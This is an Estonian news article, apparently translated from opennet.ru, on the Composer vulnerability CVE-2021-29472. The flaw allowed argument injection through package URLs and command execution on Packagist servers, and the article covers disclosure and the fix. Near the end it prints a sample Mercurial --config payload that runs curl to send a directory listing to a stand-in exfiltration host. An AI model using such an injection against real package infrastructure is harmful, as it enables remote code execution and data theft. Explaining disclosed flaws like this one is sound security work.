Haavatavus paketihalduris Composer, mis võimaldab PHP-repositoore Packagist kompromiteerida

Composer'i sõltuvuste halduris avastati kriitiline haavatavus (CVE-2021-29472), mis võimaldab teostada süsteemis juhuslikke käske, kui töödeldakse paketti, mille URL-i väärtus on spetsiaalselt kujundatud, et määrata allalaadimise alladress. Probleem ilmnes GitDriver, SvnDriver ja HgDriver komponentides, mida kasutatakse versioonihaldussüsteemide Git, Subversion ja Mercurial puhul. Haavatavus on kõrvaldatud Composer'i väljaannetes 1.10.22 ja 2.0.13.

Eriti märgitakse, et probleem mõjutas peamiselt vaikimisi kasutatavat Composer'i paketirepositooriumi Packagist, kus on 306 tuhat paketti PHP arendajatele ja mis teenindab igakuiselt üle 1,4 miljardi allalaadimise. Eksperimendi käigus näidati, et kui probleemist oleks teavet olnud, oleksid ründajad võinud saada kontrolli Packagisti infrastruktuuri üle ja haarata kellelegi kuuluvate tüübiandmed või suunata pakettide allalaadimist kolmandale serverile, korraldades pahatahtlike muudatustega pakettide saatmise tagasimineku protsessi sõltuvuste installimisel.

Lõppkasutajate oht on piiratud sellega, et composer.json sisu määrab tavaliselt kasutaja ise ning allikad edastatakse tavaliselt usaldusväärsetelt kolmandatelt repositooriumidelt. Peamine mõju osutus Packagist.org repositooriumile ja Private Packagist teenusele, mis kutsub Composer'i, edastades kasutajatelt saadud andmeid. Kurjategijad said oma koodi Packagist'i serverites käivitada, laadides üles spetsiaalselt kujundatud paketi.

Packagist'i meeskond kõrvaldas haavatavuse 12 tunni jooksul pärast haavatavusest teatamist. Uurijad teavitasid Packagist'i arendajaid eraviisiliselt 22. aprillil ja sama päeva jooksul probleem lahendati. Avalik värskendus Composer'ile, mis kõrvaldas haavatavuse, avaldati 27. aprillil ning detailid avalikustati 28. aprillil. Packagist'i serverite logide audit ei tuvastanud haavatavusega seotud kahtlast tegevust.

Probleem on põhjustatud vigast URL-i kontrollimise koodi veast peamises composer.json failis ja allalaadimise linkidesse. Viga on esinenud koodis alates novembrist 2011. Packagistis kasutatakse koodi allalaadimise korraldamiseks spetsiaalseid vahekihti, mis töötavad käsurea argumendiga „fromShellCommandline“. Näiteks git-i puhul kutsutakse üles käsku „git ls-remote —heads $URL“, kus URL on töödeldud meetodi „ProcessExecutor::escape($url)“ abil, mis kaustab potentsiaalselt ohtlikke konstruktsioone nagu „$(…)“ või „`…`“.

Probleemi olemus seisneb selles, et meetod ProcessExecutor::escape ei kaustanud järjestust „—“, mis võimaldas URL-is määrata mis tahes lisaparameetri. Selline kaustamine puudus GitDriver.php, SvnDriver.php ja HgDriver.php draiverites. Rünnak GitDriver.php kaudu takistas seda, et käsk „git ls-remote“ ei toetanud lisavigade määramist pärast teed. Rünnak HgDriver.php-sse osutus võimalikuks parametri „—config“ edastamise kaudu utiliidile „hq“, mis võimaldas korraldada mis tahes käsu täitmise seadistuse „alias.identify“ manipuleerimise kaudu. Näiteks koodi allalaadimiseks ja käivitamiseks curl utiliidi kaudu võiti kasutada: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Paigutades Packagist testpaketi sellise URL-iga, olid uurijad kindlad, et pärast selle nende serverisse paigaldamist tuli HTTP-päring ühest serverid Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.

Allikas: opennet.ru